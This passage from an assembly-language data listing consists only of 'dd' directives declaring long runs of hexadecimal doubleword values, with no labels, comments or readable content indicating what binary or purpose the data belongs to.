8002718h, 84C7ADEDh, 0B021F730h, 0A95700E6h, 0AA74A216h dd 4E00EB1Dh, 5526C0E0h, 176072h, 773996CEh, 0B190E9D4h dd 51654A00h, 6288CA4Fh, 2E8A0086h, 0D33771D7h, 0CB0F5F15h dd 3D9680D0h, 510AD906h, 0F45A1D89h, 495FC18Fh, 40239042h dd 0E2BB1388h, 7200E47Dh, 5D3180ABh, 0C33AD6h, 0C5A23445h dd 0FAC8222h, 5C86E707h, 11C05516h, 1ED07705h, 0C063E315h dd 0C750B06Eh, 0E7776C4Eh, 62E0CD0Bh, 3B6980EEh, 1238BA8h dd 80164925h, 0DCCC0B57h, 0EF186E2Dh, 7E204F1Ch, 2EBE071Eh dd 73D2BA2Ah, 180050ADh, 0F318C53Bh, 206DEF54h, 8E0043A6h dd 82DFD208h, 0F50A03h, 0D69E93A9h, 0DE2E0135h, 4179F07Dh dd 0ED1C8C03h, 808D6F77h, 0FAABEF46h, 0E18B0AC5h, 4350A162h dd 0E6884924h, 0EF22511Fh, 89BD603Ah, 82BE1DF9h, 819D913Ah dd 0AAECFD38h, 0C1803C01h, 0A407EB3Ah, 7A0BE6A3h, 662B56Fh dd 0C041877Eh, 0B83F5290h dd 0D90E7FEEh, 6EBB4FA5h, 0CA5F803Bh, 44B61Eh, 51F0CC72h dd 0B74A813Dh, 0FD420800h, 9C1CB970h, 0CEE900F7h, 2A65CDFAh dd 0BD0020DFh, 9F59610Bh, 479538h, 76287CC6h, 0D53ACB48h dd 0F1DC3700h, 275CFDACh, 54E81Ch, 7958D0FBh, 1EAD7FD7h dd 0BDF36300h, 77AECA32h, 18440006h, 9A62CE4Bh, 73005164h dd 0A2CC5425h, 73B7FF9h, 0F0506BE8h, 65A00EAAh, 73FEE96Dh dd 4C95BC00h, 1109B48Fh, 212F0E3h, 464486C3h, 3361CC5Bh dd 0FCC1C821h, 8A75A600h, 0CD3C5A5Fh, 38177995h, 9E81E067h dd 5BDD1F89h, 8E75E496h, 37E86900h, 0AD422EA8h, 997D01C0h dd 7986B8B2h, 0E04931FBh, 0AF0069CCh, 2E037822h, 3DB053h dd 0C91CC1E4h, 66F160D2h, 0A5E58D16h, 0C05C1A0Fh, 2B065748h dd 0B10E00FBh, 0EAB9CFB5h, 0DD000328h, 0AC491F3Dh, 2D229AC8h dd 79F64638h, 7165A500h, 99B439h, 153B7D4Fh, 7B4902F4h dd 0A71F8100h, 0ED372027h, 97E403FBh, 9076FD19h, 0E2D8910Eh dd 4D2FC6D2h, 26F0050h, 0E30D58ABh, 1503C0CCh, 20EAFA9Eh dd 0C0547853h, 37573FD8h, 0F20A51B5h, 8083DA7Ch, 18B1CD00h dd 22A779h, 0C0B4D0B6h, 453BFC84h, 95424302h, 81989427h dd 8F38BA2Ch, 8091D01h, 0BEE444A7h, 0C4781086h, 0B814109Bh dd 4D34ED82h, 0EA30D004h, 6180281Ah, 4B10847Dh, 8210559Ch dd 271482EFh, 0C1680298h, 402BD510h, 0CBEEBC4Ch, 40801E88h dd 0B1423529h, 0B1D6617Fh, 178482A6h, 24593C76h, 3110A7CCh dd 13B93958h, 0F2407CD8h, 6745B8C6h, 60921083h, 77AC9F4Dh dd 22ED0C00h, 0E1B37110h, 0D2FE1415h, 0A003DC54h, 50FDF986h dd 0FFCCF2C0h, 11C5E50Ch, 799C0BAh, 0FC3475A1h, 74F7C01Bh dd 1C004595h, 93FCD7Eh, 2D80592Ah, 9760CC9Dh, 3D03146Ch dd 720ECB1Ch, 3BA001C6h, 0EA2D6360h, 0C7D020F2h, 0C9713E09h dd 8F6C2098h, 55281F42h, 78A1B080h, 0FB145E04h, 0E8E829h dd 95676061h, 1C1277h, 0A46EA209h, 724A2A7Fh, 0C547F307h dd 4F1037C1h, 2BAD4Eh, 3B25FC14h, 90D263BCh, 0A8314800h dd 0A4652C46h, 7B5F01E1h, 8A878544h, 0CA80CC33h, 0FF096902h dd 60969E2Fh, 0FE224148h, 0E0C9006Bh, 0C635EA38h, 76001F92h dd 0FB516FDFh, 17BCEB05h, 0A2A7A1h, 96B074ECh, 5A00288Bh dd 0D707CD0Dh, 2EED45h, 79EB4A01h, 5E3A70F4h, 0A81E5Ch dd 7E327894h, 1E7421D8h, 75CFBEFh, 6E433951h, 9F61D1E0h dd 0EC00FEBDh, 2493E895h, 1FA26A29h, 0F8D6777Bh, 0E2005ACCh dd 0D9C01040h, 0BB00E651h, 0DF09B3Eh, 0E45D2BF1h, 0BD4D00DBh dd 297921E0h, 4004A87h, 7017318Ah, 0E7895Bh, 0BF74D365h dd 0FF2F5F01h, 47054100h, 5DE86346h, 0C8320044h, 0F50EF721h dd 2A00F0C9h, 7C044096h, 6A2B72h, 57EE1147h, 0F715AF4Fh dd 8C28A500h, 91BD5339h, 5C9D007Bh, 7D1295B6h, 5100CF03h dd 0F4E85E1Dh, 494C83h, 0DBB8DCB3h, 0C1580DF5h, 57002890h dd 0F4D180A3h, 7123708Eh, 0DA171804h, 0B4A9A8A2h, 0CDAC6800h dd 4E30D573h, 481C92B7h, 0D7090AAEh, 128E196Bh, 0AA019184h dd 80EE8580h, 63410023h, 4B2902Bh, 80E7A9D7h, 0C3D1ECECh dd 9DEAC5h, 56A649B8h, 0A9DAF459h, 0B97CB700h, 0FA3F9247h dd 5B8A00FDh, 0B6C15E5Ah, 0E002AB1Eh, 4B64AFC7h, 59C960A4h dd 85BC00E2h, 0B20312F5h, 5700BA9Bh, 0C01E50F2h, 25CE67AAh dd 0DD5E9226h, 403A490Fh, 77883608h, 0FEA700BFh, 199C498h dd 410971E1h, 212CC33Fh, 39A406B4h, 6CB53C0h, 25FA6551h dd 0F20081D5h, 5897325Eh, 3AD046F3h, 52009992h, 0AE57CD21h dd 1FE4396Ch, 69E8F900h, 7D78BD04h, 0ECEC603Dh, 73F46EFFh dd 0B5E04103h, 0E152BC2Fh, 0E5E4C1CBh, 1FEC01h, 0A9DAFA2h dd 6B4EE126h, 0CF5DE000h, 6E94DF38h, 68A0014Bh, 4080F141h dd 3C29FCC8h, 737F7900h, 1810F569h, 2B3400B8h, 0E6EB1DADh dd 6802EE88h, 23FA96A3h, 260068F9h, 1D3F00B2h, 0CFF8F49Dh dd 95002D61h, 0D06713E4h, 0D9E096h, 1FF62981h, 0A8F41143h dd 16834000h, 0ED1051E2h, 6534CE7h, 0ACCE4C00h, 21928BDAh dd 9B67DC00h, 0FC153182h, 5B18C30Ch, 80ED74F2h, 0F76F7D4Bh dd 0E796CF00h, 0B493851Eh, 0F249161Bh, 7DD007E4h, 4E270CEh dd 240132ADh, 88E35BA6h, 9B201544h, 2625006Fh, 5A2DA2B4h dd 8C18792Eh, 82680ECDh, 662F009Eh, 6F02314Fh, 5F3BD145h dd 0DC60057h, 0D01D7872h, 0FF070015h, 3105EA4Ah, 5B00CF20h dd 73CB3570h, 0A6B6C2h, 0E2F41F72h, 0C0636ACDh, 5AAA3F60h dd 1E2045F9h, 80B96BDAh, 34E14102h, 0E90343B5h, 0AE4BFDB0h dd 0F0501718h, 9D9E0071h, 4FC1C39Fh, 0E152D800h, 0B633CDE6h dd 0C6861EF4h, 0BE5C40h, 47F5AAE3h, 0D100A7E4h, 44655EF8h dd 7FD90841h, 27540074h, 0E25B9DF9h, 0A0079C90h, 42FDFFFAh dd 0C8312162h, 0F38587Ch, 29F92E76h, 5FBA3A20h, 0DC00D0C9h dd 746698AEh, 5D9CCDh, 0AF715EE4h, 548E1912h, 0B77D2CF4h dd 2B973Fh, 92CBA8DBh, 0FB36BBh, 0EEF2AB0h, 0B898CF86h dd 0A83F700Eh, 0FE40BE6Fh, 7649C87Bh, 0CC14CB0h, 0E69C4000h dd 0D27F5236h, 0B9D96900h, 8FA572C4h, 0DCFC00A9h, 55DB469Ah dd 0B7BDA0Fh, 663BD800h, 8981BFAEh, 4F410079h, 0F2B9248Ah dd 88010F16h, 0E14E3D54h, 62F41838h, 0BF111D81h, 6E807B73h dd 7B9FE0D6h, 0FC18E21Ch, 0EE1886DDh, 0C0B20B78h, 0A4A07F2Fh dd 570639D7h, 8E9FFD00h, 0E8F644EEh, 65BF0921h, 60204A14h dd 56113F51h, 44F7D00h, 26F1B75Eh, 781417C1h, 0A188007Eh dd 0D7BA30F9h, 0BCFDCC00h, 7151F642h, 0FCD6044Ah, 0FE18118Fh dd 6029716h, 80AE6CF3h, 3D262BDCh, 8C7D0029h, 1510EEA9h dd 5A00B546h, 0DA571164h, 56E7ECDh, 6771ADB1h, 52BA8016h dd 550023EEh, 51733F27h, 9C6342Fh, 7B071A80h, 13E61300h dd 90076DAFh, 0FA2081E7h, 5B600317h, 14EF9B68h, 88D6703Dh dd 0FE807A39h, 7117DC20h, 580009D2h, 4487F9EDh, 36DA9Bh dd 785E3153h, 0F2F909Ah, 0D92AD00h, 3867852Ah, 483E7CB3h dd 0FB16E6B9h, 0B4AC0096h, 0FAD52A0Ch, 9E89D000h, 4972FC2Dh dd 0AEBA00D6h, 0B1DCCE53h, 0FF00BC20h, 0AE3D9E1h, 0F2BB5B8Fh dd 37074C0h, 87B5A40Dh, 40EF0177h, 64758081h, 29CCB41Fh dd 394DBBC0h, 0F2F62B2Dh, 63D40011h, 17C0E3B1h, 4E0022F8h dd 85A2F0A5h, 73A1D6Ch, 6D5CB85Bh, 0DAEAADh, 94167287h dd 7D0095BBh, 0DACE09C5h, 3FF81C3Eh, 0BA00FDE2h, 8CFF2D0Fh dd 354C3DFBh, 5BC7008Ah, 0DA617F14h, 3CA207B7h, 0D0BDBE02h dd 73199757h, 5069C401h, 0BA7ACC38h, 0AF8440CAh, 0BB158892h dd 1F6DE61Ch, 14561C40h, 98412BBCh, 48F6F41Dh, 8B0080F5h dd 32C171A5h, 123FB833h, 3CA78097h, 0F5FEDFB4h, 0C0AB00DCh dd 598D3A79h, 391D3FAAh, 0FB805BFAh, 0FF34A8ADh, 0C9010068h dd 2F32154Eh, 0AC7D4D92h, 7DEF7800h, 5033E3Ah, 988B6F4Ch dd 0F9336600h, 8D60FCABh, 6449E20h, 0BF701F22h, 0B969002Bh dd 0A8208A7Fh, 568E6E03h, 0EBCB49CDh, 0CCD803E5h, 0C08622D8h dd 883C9788h, 7657AC00h, 0BF482BAFh, 25E97620h, 0D003150Ah dd 64B03A71h, 5101473Fh, 6306BA5h, 0DD20DC4Ah, 5CA44C3Ch dd 0E427620Ch, 29005761h, 7C5895DDh, 33D30B6h, 5FA977A4h dd 0E0C79D3Fh, 18271D36h, 0C08A0C00h, 0CDBAF2E8h, 562414ECh dd 0EE00B435h, 3170376Ah dd 0C5391A41h, 5E3080BFh, 55CC96FFh, 0D11500DAh, 9E31F71Bh dd 3700691Eh, 7DC440CDh, 0AFEDCBh, 368AE4DBh, 87B23911h dd 0D40D9F00h, 0BE623115h, 0C147007Bh, 0E7CB962Dh, 740051DCh dd 5FDBBBC0h, 8D7C10h, 77C82273h, 455A4687h, 8365AB00h dd 82D30260h, 6A230355h, 1595D5BDh, 5FC5B4A0h, 74091100h dd 0DA7A89B7h, 0CDA2078Ch, 906F8134h, 31C6190Fh, 0B90B0EEEh dd 80EE8673h, 0FE9DA754h, 6AD61C45h, 0A067C1F6h, 40A328DDh dd 0D7AD92ACh, 5842E900h, 6D4197B0h, 87FD017Eh, 0B72A4756h dd 39B2C021h, 25187948h, 0D06CA01Ah, 7003F942h, 9D9600BCh dd 628F9583h, 124EB04Ah, 4C845801h, 0DC50CA41h, 1EB492h dd 0A42A4DA1h, 0BA8DE42Dh, 58F1BC00h, 476CD693h, 89B00080h dd 0C04C11AFh, 6400ED96h, 581004C4h, 0A69901Eh, 7CF91856h dd 323A01DEh, 74D962B9h, 0B2141558h, 0A4C950h, 0F7C23C49h dd 0F93A020h, 0A387BF33h, 50DDF60h, 89E5647Ch, 0C3BB4599h dd 0AB2EA058h, 5942050Ch, 0C76A5392h, 0C9E250FFh, 730057DCh dd 0FFB2F423h, 37591378h, 0A0389E48h, 7BE45A71h, 35B380Eh dd 0BAA9C744h, 27D51Ah, 0B4A28748h, 4A300313h, 0AF38B61Ch dd 62230EFh, 0D2017BAEh, 0F1FD4B55h, 918EC166h, 8D692928h dd 5D3C9420h, 0F9240C06h, 0E300324Fh, 0C27883C5h, 7C9324BAh dd 876685A8h, 0ECB10303h, 0F8C8AC15h, 280120A3h, 0D3ABE29Ah dd 70EC87A9h, 430D008Ch, 322D9724h, 92FCD0A4h, 2F39CB26h dd 3CF3B200h, 78885D43h, 47300A0h, 33C1DA80h, 700E3266h dd 0E016DB24h, 0D1BEFCCBh, 1EE41DE9h, 0A90C408Fh, 0DA7F3FB5h dd 86882E00h, 0A4DFCCFDh, 2FA501A8h, 7E0BB27Dh, 6F7680AFh dd 0DF8A2816h, 4D8F0097h, 86541051h, 5250BB4Bh, 1E7A48BDh dd 515748h, 4CAC309Eh, 636884h, 0EB0AAE46h, 1BA796DAh dd 7500487Dh, 2EBF3F30h, 2A297Bh, 0EE18EC11h, 0DCA468Eh dd 917CB900h, 36E47339h, 0E5DE005Dh, 60797768h, 0C800CE0Bh dd 968F72B4h, 752A22A4h, 12D20059h, 0CA6FE98Ch, 9F606A40h dd 88EC6860h, 4A90008Eh, 5C1BCF54h, 37ECBC15h, 84FE2400h dd 6855F179h, 0E7DA1C2Bh, 0FF708CF9h, 328C718h, 0D60BC013h dd 80C9A81Eh, 29D4EE72h, 87A007Bh, 3B50A197h, 77D783Eh dd 62FF1C0Ch, 445A28C8h, 714575E1h, 0B51179D9h, 53561080h dd 107C7ECCh, 7CA53469h, 3106E020h, 0A279E760h, 825511EAh dd 107E6211h, 142FA32Bh, 149EAE98h, 5128EC19h, 65E9088Eh dd 48A7963h, 5E323914h, 3E511198h, 99F50679h, 0A1C586AEh dd 0F628CB50h, 9B2E14A0h, 0ED92A1C4h, 5660C044h, 4D29FF18h dd 9BBC08BEh, 5981CEAEh, 0A9041D30h, 6ECB60h, 0BC10CF9Fh dd 1AB49C43h, 0F293E900h, 761BAA29h, 0AE9E3F35h, 82A35880h dd 98E8B271h, 569D9B00h, 93D8677Ah, 188E0086h, 3104387Dh dd 792C5A70h, 74002F02h, 53AAA646h, 0FEA7004Bh, 0BC1E542Dh dd 8D1D413Eh, 78BA01A3h, 364829EEh, 0AD9C00EDh, 80E8BE56h dd 8CC50015h, 0ACE7716h, 0BC009D7Fh, 0EEFC33C2h, 793EDF5Dh dd 255C0039h, 168769B6h, 350051CCh, 8A550BACh, 0EEDF4C61h dd 0F28C0ABh, 0D9F98E03h, 95B34407h, 0FF915689h, 4820331Dh dd 0F3F000CCh, 119F86E8h, 2D48ECDCh, 27730052h, 99D798FBh dd 69E0068Ch, 48687BB1h, 28576CA0h, 9DF98802h, 4841E559h dd 94B870h, 0C9349AB2h, 3C2A0249h, 0F5258700h, 525468E2h dd 12730361h, 0EFA3B1A7h, 0B93A7EB0h, 0BDAFD303h, 0F0B62B76h dd 0CF038Ah, 1557E1F4h, 0C0190BF8h, 0CAADE400h, 0A51FEE97h dd 0FB41031Bh, 0A9C74DCCh, 51B7F000h, 0B36CCF4Bh, 0F120063h dd 0B6ECE464h, 0CE007F4Eh, 40726713h, 1CBB8BBCh, 808C6B99h dd 1E019EFEh, 0EF1F7FC3h, 0C40C189h, 0F4B45660h, 189500D8h dd 1DEBD0CCh, 41390F93h, 0EE9100ABh, 0E10E6F26h, 1F44F282h dd 8073DE1Ch, 97551BD8h, 6DF4BD3Fh, 0D6B078C0h, 0EC32478h dd 8E964B6Ah, 2F8A6240h, 0F30084F8h, 3E8DEDFBh, 0EC46FBEh dd 0AB5AB7BCh, 0F08C1920h, 0F400145Bh, 0F2166A8Bh, 5E6852h dd 0DAD3ECE7h, 0BD25609Fh, 62661E00h, 28A315B8h, 71413F21h dd 0C2071300h, 5C9531A8h, 476020FBh, 3000DE77h, 0D999D466h dd 74FFB1h, 0C643B65Fh, 11F394E2h, 8203D2FCh, 44D8C9A6h dd 9769D864h, 1C79D5h, 4C0E2608h, 6FBF6B7Dh, 7BE3EB0Bh dd 21EC86E7h, 49E430h, 3A207C16h, 2FECC3Dh, 0C327A400h dd 0E8A5CB77h, 0E263001Ah, 0B4DB29A2h, 6513D333h, 9A0194D5h dd 458B8458h, 482F2820h, 96AC71h, 204CD55Dh, 3C1F3FBAh dd 6CC00CE6h, 8BBFCA34h, 0AA600153h, 2F25047Eh, 0F811DCD5h dd 0F40092F0h, 2EB2A7B9h, 4C772C6h, 0CA204EEEh, 704C8056h dd 0E1007853h, 0C0366E39h, 0B1950Ch, 947FF49h, 0B877044Fh dd 0CC07EC72h, 9B905413h, 0F6194E20h, 0BDD61337h, 4BE000F9h dd 25867A6Fh, 0CD71D11Dh, 58A96C2h, 0B0B4C067h, 839400DDh dd 8C6DBD4Ch, 301C463Ah, 88400D36h, 0F51945D3h, 3AFAEA95h dd 1A80E832h, 9DAFBDBFh, 0CAFAC79Fh, 76C5101h, 8AF48806h dd 41DC8C50h, 935C003Bh, 6985E182h, 5B078453h, 0EA2C67B6h dd 980E5D50h, 56AC0063h, 38C96EFEh, 0BB00DF37h, 0C0048628h dd 0F0570D95h, 0FBE40769h, 0A021E682h, 253A744Eh, 64CE5E34h dd 8690FC07h, 0AC8342A5h, 8C308015h, 9CE60FC2h, 0DF40D97Ah dd 0EA7B349Dh, 86764D3Ch, 6CF18DB7h, 6B260710h, 81C79B05h dd 0DBA64CE6h, 872E75A0h, 5DC03400h, 3CFC608Dh, 0FDB400CAh dd 3FAA7473h, 13EA161Ch, 0E56DF000h, 0C4FEFDAh, 0DCC20076h dd 66C494B2h, 0D400D9A1h, 4F25335h, 783D48F3h, 797C0038h dd 0C48D92EAh, 0C600DD0Ch, 789970AFh, 9C2110h, 5933E86Bh dd 0F66D45D0h, 0F10C4900h, 964A3BF4h, 0B573584Bh, 40A450h dd 1EBC77AEh, 766D2946h, 0DDDE001h, 0CF78211h, 0A98C30h dd 66F4C1F0h, 0BEEEEF6Ch, 414F9300h, 5FB2B362h, 780F0022h dd 0DFF04D45h, 0EA003E98h, 830CCF4Ah, 0DC5A4h, 0AC78AA15h dd 191B8C66h, 9B54D00Eh, 2AD4E172h, 2430E1FBh, 0F95900FEh dd 6C9F8F50h, 0A900CEB9h, 0FF26CFF6h, 3C7299E5h, 2285CA6Ah dd 0EED6EF69h, 0C51F4D05h, 0C0EA2680h, 5C7D00C3h, 456BB162h dd 0F40724A8h, 99962D67h, 0DC15811h, 484D3BE0h, 5F00700Eh dd 0B489D087h, 0AE008184h, 0DA44F8A9h, 3091C0h, 0FDDE13Eh dd 1AD347CDh, 1FC1700h, 0AF2615BBh, 58381E14h, 4EEC0092h dd 6A4A10B4h, 40D1C104h, 71C043AAh, 7C9ADBB5h, 5DFE0046h dd 0F32BF54Bh, 7FE626ECh, 0FE31538h, 5F5E2DCFh, 25B71E43h dd 0AD60B9D8h, 0C0CCD3EDh, 5C13006Ch, 2F827FCEh, 8E1402B6h dd 18756F0h, 20B958E8h, 0EBD09CC1h, 0A04A3B34h, 0C026B000h dd 0DA6EFFA7h, 0E2147207h, 7738CECh, 21C6C0D6h, 85F53973h dd 770FEF80h, 7A59115Bh, 110010D2h, 3D203810h, 0D7CEEh dd 9564F42Dh, 0BEE84834h, 3F425700h, 0D5F0FB94h, 13460084h dd 344D9D02h, 69011F6Bh, 0D7A81A8h, 0ABFC77AFh, 0F260EB2h dd 61873DF5h, 188D81ACh, 63FC40C9h, 8A01EB8Bh, 95A04FF6h dd 52EC01C4h, 0F1810018h, 0CE648885h, 7B0083ABh, 34FEFCA2h dd 3BF74C51h, 0F2005284h, 3B5C77DDh, 0F3000D80h, 5FD7575Dh dd 0B8A7EE2h, 0AB238DA7h, 98E73D80h, 45E0F86Dh, 0F1FAC400h dd 0C8F4ED10h, 3DD0015Bh dd 1E89C76h, 0DD67DDB0h, 0EB18EC61h, 0A9DF1C0Bh, 0CEA38075h dd 0A2BD8B8h, 3DE19AA2h, 4A1100B4h, 0FD18DD14h, 0AF6D1D00h dd 0EF5023F7h, 0A14500EBh, 0B39FE9CAh, 0BC0E0889h, 0E0BF141Bh dd 583909D2h, 1C92DAh, 28213472h, 0F49B424h, 808DFD3Ah dd 0F329F9E9h, 9AC0586Ah, 0E07ACCh, 92EE5D2Bh, 5F02A711h dd 8010943Fh, 0AE1D158Ch, 0DC8E5h, 863F4097h, 0CEC0834Bh dd 0C101DBEEh, 16F91F7Fh, 62D88E47h, 0BD7D0EB5h, 0DB60B9DDh dd 13AD6E23h, 8F36B70Fh, 56AE2043h, 385853A7h, 0C3001089h dd 8CBF84A5h, 4405ED9Fh, 38B47BB0h, 0CF7CB0C0h, 0D1700B6h dd 1DAFAD0Eh, 893A2B94h, 6900704Bh, 1E4C78ABh, 200BF4h dd 9615EA9Bh, 0BCD3C970h, 26CABB05h, 2080623Eh, 77B74h dd 249B946Ah, 0D7459D65h, 0EBB3BE00h, 4B548FFBh, 0A4850386h dd 0B63E7A09h, 79676B88h, 0A1785200h, 0D8FB4C18h, 23630029h dd 0EF02ED43h, 0E77361Dh, 4DF2400h, 0E619BC6Eh, 62500095h dd 5E263C4Fh, 0A0008332h, 6946718Dh, 1381123h, 0FD6ABFFAh dd 85D121A5h, 0D07E5290h, 17FF54C0h, 287200ABh, 386B54D9h dd 8D00EB4Eh, 0A246BB8Ch, 0C0F427h, 0E06A999Dh, 6955B459h dd 24169C01h, 743518DBh, 4702F8F3h, 0A9C20F78h, 6780B643h dd 7C2197E8h, 3C41ED1Dh, 5E809600h, 3BA80750h, 24F37EA2h dd 0A4D554h, 3867EFCFh, 0BA00A0FEh, 661499ACh, 3FBCE5Bh dd 8A4204CCh, 0AD803F96h, 8607F9B2h, 88DAC251h, 1ABDF160h dd 915F0F03h, 43807BC0h, 39E43069h, 0A2BADE0Eh, 0A49061E7h dd 22FC486Ah, 9A071CBCh, 8100F855h, 1365DA37h, 7100D29Ch dd 0D79703F5h, 2151ADBh, 0CD797F9Eh, 0C44E820Ch, 3FBD0200h dd 88E54E3Dh, 3C310017h, 0EC27E8A4h, 7C00FC0Bh, 0CD2E2ADFh dd 0B84AEF5h, 0F80A7544h, 26687380h, 85009E8Ah, 6AB68E2Eh dd 403BC3h, 5C9315BAh, 0D5192247h, 0D1FEE000h, 0D6B93F50h dd 707114h, 101B460Dh, 0FF458F19h, 5988840Eh, 83760035h dd 89EC9Ah, 5CCF21B5h, 3ACE807Dh, 35E7D501h, 8E8C18CDh dd 4B23F4h, 0FABE46Ch, 0A79D30C7h, 72D3E600h, 298EBDFBh dd 43AD0516h, 0CC17CEBCh, 7558E8F8h, 0D9070072h, 4905F192h dd 1A2F14DBh, 9A07949Bh, 60E733B3h, 41D3DF02h, 319900B7h dd 772CA122h, 3B4E26CDh, 87A40127h, 0EC61F243h, 9E0090DDh dd 468C29E9h, 7FD59B5Ch, 0B495030Bh, 27D8970Ah, 52FA0EC0h dd 5C476824h, 0DF13E101h, 8DC41F5Dh, 71841FF5h, 2F190006h dd 0D3F831ADh, 272348h, 0D672DD04h, 2CA2E0E8h, 96A87ABh dd 6743F8h, 42387670h, 4C3C54DEh, 48E24200h, 7D6B519Ah dd 5C7112h, 0ACF396A0h, 7662DB0Dh, 50EEE100h, 11CD7BDCh dd 0FF7000E0h, 0EB3E408Bh, 57019AF8h, 51FAE6D0h, 5BE4F5A6h dd 0ECDC0013h, 0C4AF892Eh, 4EB06F1Dh, 9D211900h, 1F77320Bh dd 6B230002h, 0BDF091CFh, 35004BCEh, 0DA92B062h, 0F6CD2F43h dd 323A0FD7h, 0AD832C4Ah, 0CBA0A23Ch, 71242A29h, 0F007A4FEh dd 559283C4h, 30094080h, 0D0050085h, 0F728D6D5h, 0F89706BEh dd 0BBF4125Dh, 0F6080099h, 9089483Ch, 0EA973Ch, 0DF25789Bh dd 0A3FF784h, 6D531BAh, 15420FB2h, 0C380F1EBh, 0B78BE230h dd 0DA3EE00h, 4CF28CEFh, 5F7D09E8h, 3880D095h, 9D8A611h dd 9DE4700Ah, 0F0808434h, 0E50CBBCEh, 7911D93h, 0BFB0C0D3h dd 1B49FE99h, 46685300h, 87AD6F42h, 6B46C0D5h, 0BF0967C6h dd 19012900h, 229DEB1Ah, 0B4AE0027h, 6A383BAh, 0CA07AA67h dd 3C6EC2E2h, 845C879Eh, 433118D0h, 0C4905Fh, 737011EEh dd 0E0DB2BA5h, 8F303Bh, 0EA1A10B1h, 0E2FAE9Eh, 6386AF0h dd 323F4A0h, 0B00DA4Dh, 824EC16Fh, 1CAB86h, 0F2835DB2h dd 449338D8h, 7C0FD903h, 88DC9989h, 1C747984h, 0E6241F83h dd 8CF075Dh, 413C9226h, 36FCA840h, 0DBCCDC2Eh, 0A0BC3E0Fh dd 0C8EFD4ACh, 897906D5h, 4802CB74h, 904A9F02h, 0C3A409EBh dd 54FEC021h, 2C930075h, 5869E9A3h, 981E4C8Bh, 0EF17467Ch dd 17F3E600h, 0B763DFh, 0EC8B2F56h, 0CC9BB349h, 8E67A405h dd 708022C3h, 0D65344h, 0BD66E147h, 800892A8h, 0F4904900h dd 27DB8DF3h, 0BA0500DEh, 0A2F63C9Ch, 1200545Ch, 0C6885F17h dd 0E547E9h, 0EC2F9189h, 0CD1E4A2Dh, 0E65D8503h, 88EE7115h dd 0E490C40h, 1DC9D3F3h, 0D22E9981h, 93B32085h, 0F80938B8h dd 80FAA4CFh, 993B792Ch, 0B20A001Fh, 667219CEh, 6F583D06h dd 338917D7h, 21561C00h, 909B5A2Fh, 976E002Fh, 1791F6CEh dd 2C00275Dh, 0BDBAD086h, 9CC97CD3h, 0C688004h, 0E05A67C5h dd 0F218360Bh, 0CB1800C3h, 5578401h, 0E665D471h, 1B50D0FCh dd 0F409E1D0h, 628679h, 0BE053A20h, 3885F767h, 0A18CE002h dd 1779DC00h, 0EDD31916h, 0A3EC71F1h, 0B52803A2h, 0EBD08E33h dd 0A0669090h, 8004F13Dh, 3B24B14Eh, 74C649C1h, 0CC4D0087h dd 0CBDF23Dh, 403FE6D9h, 894F0068h, 0FF39C625h, 0D4DF0636h dd 90FBD3E4h, 10F74517h, 489AA040h, 0DEE3Bh, 726BE2DFh dd 946CC89h, 7AD32100h, 0F62582D8h, 7E2D0010h, 50E3C0Fh dd 0CA006B57h, 8FC3AD4Ah, 3D8014ECh, 0DA0074BFh, 0F8A5E25Dh dd 637EA392h, 0C3724E03h, 0C943BC64h, 0F42095C6h, 28FC0160h dd 0C96FF8FBh, 0DAB43067h, 91C3C400h, 9F71043Eh, 734400A9h dd 0CB9A49B5h, 5D002572h, 26EC2D2Eh, 905C4FF1h, 464C0004h dd 1A227EB1h, 9E07B825h, 72DBB687h, 3569602Eh, 23CBF98h dd 0E8D9C5FAh, 8441F521h, 5000206Dh, 6154CB00h, 5133C202h dd 4638008Bh, 97BDEAACh, 0FB0716DEh, 1CE18413h, 0ED63EC00h dd 2F681C75h, 89A79F4Ch, 0F100A2F7h, 4E5CD2CEh, 8076DB3Dh dd 0AE797DCAh, 0F8CF6Ah, 69D890B7h, 0D3CCA186h, 0F0BC5B00h dd 4B53AD5Dh, 963D0E6Dh, 0D840DAB2h, 8E573185h, 0BC82EA1Dh dd 403ABE00h, 1E223E87h, 40FC745Fh, 0CFAD0CA0h, 0AA2D118Bh dd 0BB808060h, 9BD771h, 817413BCh, 0C53CD463h, 60983900h dd 0C7538C7Dh, 54350010h, 71AE9CF1h, 0C0F6FE1h, 402A81FFh dd 7C4BBC91h, 44B01DE2h, 0D3ED8259h, 1C406F9Dh, 1E0FB928h dd 0C4F2D978h, 5DC0D740h, 5B985F50h, 0DF5805F9h, 2704808Bh dd 59169DFDh, 30826AF5h, 93F030A8h, 880B2530h, 9B10CFDh dd 0D91466A2h, 884FCF0Eh, 0D886D406h, 0FEE6E800h, 89FC3826h dd 5B583E4Fh, 6057A4h, 3730C484h, 0BE13591Ch, 0DF003EF5h dd 0D734FE14h, 0DDB90069h, 0B465F4ECh, 9B1D7D44h, 0F00C8F0h dd 66B01FF8h, 53E5A07Bh, 0A0280ED3h, 3CE631h, 34F8C974h dd 597F8236h, 0A88E6A06h, 1250E2DCh, 1100854h, 248D74EFh dd 4434F0D0h, 0A92B2703h, 903BA8D9h, 0B4C56C0h, 10C572DEh dd 0C82F5B00h, 9A0035BDh, 5ED11146h, 1B41797h, 8FCAB129h dd 70D6A1F6h, 216CF03h, 9803CC5Dh, 90B41ED7h, 3F48B5h dd 0CEE275A2h, 1F247E4Ch, 16ABF600h, 38F729BBh, 700A006Bh dd 0C019D876h, 0F100FF27h, 0DD3C5258h, 443295h, 70B7FD08h dd 0BF6E191h, 0B80F9700h, 13CD68CCh, 34D32E5Bh, 584A00C4h dd 0A3FC48E4h, 0C910280Eh, 9B81E360h, 0A8D0B0E8h, 3F5612C7h dd 0C06813BFh, 0BB019690h, 72F448h, 3E5274F0h, 0AEC418h dd 0F18847EFh, 0C636AD0Ah, 16890300h, 797C2178h, 7CC55809h dd 9F979Dh, 66118964h, 863DB407h, 4C00FC82h, 617E5CB5h dd 90B69079h, 0B4DE006Dh dd 4BA140A3h, 4900FDC4h, 0FE2330FCh, 4D715D84h, 0DF00745Ch dd 0EC68505Fh, 60C355B1h, 0E09449E8h, 1DA77EA4h, 40FCB96Dh dd 331207EFh, 640FDB1Eh, 0C0D055E9h, 141D0D4Ah, 0DF750346h dd 0FA6513EBh, 0AB71E0B0h, 4021CB07h, 2770B3B9h, 0B82AE1h dd 0FF4F9389h, 48675F5Eh, 51ADF700h, 0BE137C3Fh, 0E3850B8Bh dd 0E9006911h, 23A28F41h, 0DB31CF03h, 0B82442F5h, 4F80DD49h dd 0F340BB5h, 4CDA6782h, 406CDF40h, 0AFD92400h, 4AB17A71h dd 34850F3Eh, 8E202067h, 